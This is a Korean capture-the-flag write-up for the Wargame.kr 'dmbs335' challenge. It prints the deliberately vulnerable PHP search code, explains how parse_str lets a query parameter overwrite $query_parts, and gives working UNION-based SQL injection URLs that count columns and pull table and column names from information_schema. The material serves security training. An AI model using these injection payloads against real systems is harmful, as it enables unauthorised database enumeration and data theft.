[Wargame.kr] dmbs335 풀이 (403p)
Wargame/wargame.kr

[Wargame.kr] dmbs335 풀이 (403p)

dmbs335 view-source code

SQL injection Challenge!
(injection) (코드 수정 버전)

<?php 

function getOperator(&$operator) { 
    switch($operator) { 
        case 'and': 
        case '&&': 
            $operator = 'and'; 
            break; 
        case 'or': 
        case '||': 
            $operator = 'or'; 
            break; 
        default: 
            $operator = 'or'; 
            break; 
}} 

if(preg_match('/session/isUD',$_SERVER['QUERY_STRING'])) {
    exit('not allowed');
}

parse_str($_SERVER['QUERY_STRING']); 
getOperator($operator); 
$keyword = addslashes($keyword);
$where_clause = ''; 

if(!isset($search_cols)) { 
    $search_cols = 'subject|content'; 
} 

$cols = explode('|',$search_cols); 

foreach($cols as $col) { 
    $col = preg_match('/^(subject|content|writer)$/isDU',$col) ? $col : ''; 
    if($col) { 
        $query_parts = $col . " like '%" . $keyword . "%'"; 
    } 

    if($query_parts) { 
        $where_clause .= $query_parts; 
        $where_clause .= ' '; 
        $where_clause .= $operator; 
        $where_clause .= ' '; 
        $query_parts = ''; 
    } 
} 

if(!$where_clause) { 
    $where_clause = "content like '%{$keyword}%'"; 
} 
if(preg_match('/\s'.$operator.'\s$/isDU',$where_clause)) { 
    $len = strlen($where_clause) - (strlen($operator) + 2);
    $where_clause = substr($where_clause, 0, $len); 
}
$result = mysql_query("select * from board where {$where_clause} order by idx desc");
?>
 

적당히 코드를 수정했다. 문제를 풀기 위해서는 이 부분만 잘 이해하면 된다.

parse_str($_SERVER['QUERY_STRING']);
foreach($cols as $col) { 
    $col = preg_match('/^(subject|content|writer)$/isDU',$col) ? $col : ''; 
    if($col) { 
        $query_parts = $col . " like '%" . $keyword . "%'"; 
    } 

    if($query_parts) { 
        $where_clause .= $query_parts; 
        $where_clause .= ' '; 
        $where_clause .= $operator; 
        $where_clause .= ' '; 
        $query_parts = ''; 
    } 
}
$result = mysql_query("select * from board where {$where_clause} order by idx desc");

서버에서 쿼리를 받으면 parse_str 함수로 인해 쿼리 값이 변수로 변한다.

ex) ?apple=1&banana=2 -> 실제 php 변수: apple = 1, banana = 2

 

그리고, preg_match 함수안에 있는, 문자열이 존재하면 $col은 그대로 유지되고, 없다면 공백으로 바뀐다.

이제 if문에서 $col 값이 존재하면, $query_parts 값을 바꾼다.

다음 if문에서 $query_parts 값이 존재하면, $where_clause 값을 바꾼다. ($query_parts 값이 들어감)

마지막으로, $where_clause 값을 갖고, SQL 쿼리 문을 보내게 된다.

 

결론적으로, $query_parts 값만 원하는 것으로 바꾼다면, $where_clause 값을 수정할 수 있게 된다.


parse_str 함수로 인해, 우리가 보낸 쿼리 값을 변수로 바꿔준다.

http://wargame.kr:8080/dmbs335/?search_cols=test&query_parts=1 or 1 union select 1,2,3,4

http://wargame.kr:8080/dmbs335/?search_cols=test&query_parts=1 or 1 union select 1,2,3,4

해당 쿼리문으로, 컬럼 값이 4개라는 것을 확인할 수 있었다.

그렇다면? 테이블 이름과 컬럼 이름을 뽑아내자.

테이블은 이름은 다음 쿼리문을 사용하자.

http://wargame.kr:8080/dmbs335/?search_cols=test&query_parts=1 or 1 union select 1,table_name,3,4 from information_schema.tables

컬럼 이름은 다음 쿼리문을 사용하자.

http://wargame.kr:8080/dmbs335/?search_cols=test&query_parts=1 or 1 union select 1,column_name,3,4 from information_schema.columns

이제 발견한 테이블 이름과 컬럼 이름으로 flag 값을 뽑아주면 된다. 뒤는 당신에게 맡기겠습니다...